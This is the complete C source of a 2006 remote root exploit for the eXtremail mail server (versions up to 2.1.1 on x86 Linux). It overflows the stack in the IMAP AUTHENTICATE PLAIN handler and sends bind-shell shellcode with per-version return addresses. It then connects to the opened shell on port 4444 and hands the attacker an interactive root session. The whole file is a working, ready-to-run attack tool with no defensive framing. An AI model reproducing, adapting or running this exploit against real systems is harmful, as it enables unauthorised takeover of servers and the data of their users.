| 
 
|  | /* extremail-v6.c *
 * Copyright (c) 2006 by <mu-b@digit-labs.org>
 *
 * eXtremail <=2.1.1 remote root exploit (x86-lnx)
 * by mu-b - Wed Oct 18 2006
 *
 * - Tested on: eXtremail 2.1.1 (lnx)
 *              eXtremail 2.1.0 (lnx)
 *
 * Stack overflow in ifParseAuthPlain
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2006!@$!
 */
 
 #include <stdio.h>
 #include <stdlib.h>
 
 #include <string.h>
 #include <unistd.h>
 #include <netinet/in.h>
 #include <netdb.h>
 
 #define BUF_SIZE    2048
 #define BBUF_SIZE   BUF_SIZE/3*4+1
 
 #define NOP         0x41
 
 #define AUTH_CMD    "1 AUTHENTICATE PLAIN\n"
 
 #define DEF_PORT    143
 #define PORT_IMAPD  DEF_PORT
 #define PORT_SHELL  4444
 
 static const char movshell_lnx[] =
 "\x8b\x44\x24\x08"        /* mov 0x08(%esp),%eax */
 "\x40"                    /* inc %eax */
 "\xff\xe0";               /* jmp *%eax */
 
 static const char bndshell_lnx[] =
 "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
 "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
 "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
 "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
 "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
 "\x89\xe1\xcd\x80";
 
 #define NUM_TARGETS 2
 
 struct target_t
 {
 const char *name;
 const int len;
 const int zshell_pos;
 const char *zshell;
 const int fp_pos;
 const unsigned long fp;
 };
 
 /* fp = objdump -D smtpd | grep "ff e0" */
 struct target_t targets[] = {
 {"Linux eXtremail 2.1.1 (tar.gz)",
 256, 1, bndshell_lnx, 140, 0x08216357}
 ,
 {"Linux eXtremail 2.1.0 (tar.gz)",
 256, 1, bndshell_lnx, 140, 0x08216377}
 ,
 {0}
 };
 
 static const char base64tab[] =
 "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
 
 static int base64 (const char *ibuf, char *obuf, size_t n);
 static int sock_send (int sock, char *src, int len);
 static int sock_recv (int sock, char *dst, int len);
 static int sockami (char *host, int port);
 static void shellami (int sock);
 static void zbuffami (char *zbuf, struct target_t *trgt);
 
 static int
 base64 (const char *ibuf, char *obuf, size_t n)
 {
 int a, b, c;
 int i, j;
 int d, e, f, g;
 
 a = b = c = 0;
 for (j = i = 0; i < n; i += 3)
 {
 a = (unsigned char) ibuf[i];
 b = i + 1 < n ? (unsigned char) ibuf[i + 1] : 0;
 c = i + 2 < n ? (unsigned char) ibuf[i + 2] : 0;
 
 d = base64tab[a >> 2];
 e = base64tab[((a & 3) << 4) | (b >> 4)];
 f = base64tab[((b & 15) << 2) | (c >> 6)];
 g = base64tab[c & 63];
 
 if (i + 1 >= n)
 f = '=';
 if (i + 2 >= n)
 g = '=';
 
 obuf[j++] = d, obuf[j++] = e;
 obuf[j++] = f, obuf[j++] = g;
 }
 
 obuf[j++] = '\n';
 obuf[j++] = '\0';
 
 return strlen (obuf);
 }
 
 static int
 sock_send (int sock, char *src, int len)
 {
 int sbytes;
 
 sbytes = send (sock, src, len, 0);
 
 return (sbytes);
 }
 
 static int
 sock_recv (int sock, char *dst, int len)
 {
 int rbytes;
 
 rbytes = recv (sock, dst, len, 0);
 if (rbytes >= 0)
 dst[rbytes] = '\0';
 
 return (rbytes);
 }
 
 static int
 sockami (char *host, int port)
 {
 struct sockaddr_in address;
 struct hostent *hp;
 int sock;
 
 fflush (stdout);
 if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
 {
 perror ("socket()");
 exit (-1);
 }
 
 if ((hp = gethostbyname (host)) == NULL)
 {
 perror ("gethostbyname()");
 exit (-1);
 }
 
 memset (&address, 0, sizeof (address));
 memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
 address.sin_family = AF_INET;
 address.sin_port = htons (port);
 
 if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
 {
 perror ("connect()");
 exit (EXIT_FAILURE);
 }
 
 return (sock);
 }
 
 static void
 shellami (int sock)
 {
 int n;
 fd_set rset;
 char recvbuf[1024], *cmd = "id; uname -a; uptime\n";
 
 sock_send (sock, cmd, strlen (cmd));
 
 while (1)
 {
 FD_ZERO (&rset);
 FD_SET (sock, &rset);
 FD_SET (STDIN_FILENO, &rset);
 select (sock + 1, &rset, NULL, NULL, NULL);
 if (FD_ISSET (sock, &rset))
 {
 if ((n = sock_recv (sock, recvbuf, sizeof (recvbuf) - 1)) <= 0)
 {
 fprintf (stderr, "Connection closed by foreign host.\n");
 exit (EXIT_SUCCESS);
 }
 printf ("%s", recvbuf);
 }
 if (FD_ISSET (STDIN_FILENO, &rset))
 {
 if ((n = read (STDIN_FILENO, recvbuf, sizeof (recvbuf) - 1)) > 0)
 {
 recvbuf[n] = '\0';
 sock_send (sock, recvbuf, n);
 }
 }
 }
 }
 
 static void
 zbuffami (char *zbuf, struct target_t *trgt)
 {
 int i;
 char *fill = "digitlabs";
 
 memset (zbuf, NOP, trgt->len);
 memcpy (zbuf + trgt->zshell_pos, trgt->zshell, strlen (trgt->zshell));
 
 zbuf[trgt->fp_pos + 1] = (u_char) (trgt->fp & 0x000000ff);
 zbuf[trgt->fp_pos + 1 + 1] = (u_char) ((trgt->fp & 0x0000ff00) >> 8);
 zbuf[trgt->fp_pos + 1 + 2] = (u_char) ((trgt->fp & 0x00ff0000) >> 16);
 zbuf[trgt->fp_pos + 1 + 3] = (u_char) ((trgt->fp & 0xff000000) >> 24);
 
 memcpy (zbuf + trgt->fp_pos + 1 + sizeof (u_long), movshell_lnx,
 strlen (movshell_lnx));
 
 /* rfc #2595 states "\x00<username>\x00<password>" */
 zbuf[0] = '\0';
 zbuf[trgt->fp_pos + 1 + sizeof (u_long) + strlen (movshell_lnx)] = '\0';
 
 for (i = trgt->fp_pos + 1 + sizeof (u_long) + strlen (movshell_lnx) + 1;
 i < trgt->len; i++)
 zbuf[i] = fill[i % strlen (fill)];
 }
 
 int
 main (int argc, char **argv)
 {
 int sock, rbytes;
 char zbuf[BUF_SIZE], sbuf[BBUF_SIZE];
 struct target_t *trgt;
 
 printf ("eXtremail <=2.1.1 remote root exploit\n"
 "by: <mu-b@digit-labs.org>\n"
 "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
 
 if (argc <= 2)
 {
 fprintf (stderr, "Usage: %s <host> <target>\n", argv[0]);
 exit (EXIT_SUCCESS);
 }
 
 if (atoi (argv[2]) >= NUM_TARGETS)
 {
 fprintf (stderr, "Only %d targets known!!\n", NUM_TARGETS);
 exit (EXIT_SUCCESS);
 }
 
 trgt = &targets[atoi (argv[2])];
 printf ("+Connecting to %s...", argv[1]);
 sock = sockami (argv[1], PORT_IMAPD);
 rbytes = sock_recv (sock, zbuf, sizeof (zbuf) - 1);
 if (rbytes < 0)
 exit (EXIT_SUCCESS);
 printf ("  connected\n");
 
 printf ("fp: 0x%x\n", (int) trgt->fp);
 printf ("buf len: %d\n", trgt->len);
 
 printf ("+Building buffer with shellcode...");
 memset (zbuf, 0x00, sizeof (zbuf));
 zbuffami (zbuf, trgt);
 printf ("  done\n");
 
 printf ("+Building base64 encoded buffer...");
 base64 (zbuf, sbuf, trgt->len);
 printf ("  done\n");
 
 #ifdef DEBUG
 sleep (15);
 #endif
 
 printf ("+Making request...");
 sock_send (sock, AUTH_CMD, strlen (AUTH_CMD));
 rbytes = sock_recv (sock, zbuf, sizeof (zbuf) - 1);
 if (rbytes < 0)
 exit (EXIT_SUCCESS);
 
 sock_send (sock, sbuf, strlen (sbuf));
 printf ("  done\n");
 
 printf ("+Waiting for the shellcode to be executed...\n");
 sleep (1);
 sock = sockami (argv[1], PORT_SHELL);
 printf ("+Wh00t!\n\n");
 shellami (sock);
 
 return (EXIT_SUCCESS);
 }
 
 
 |   
|  |  |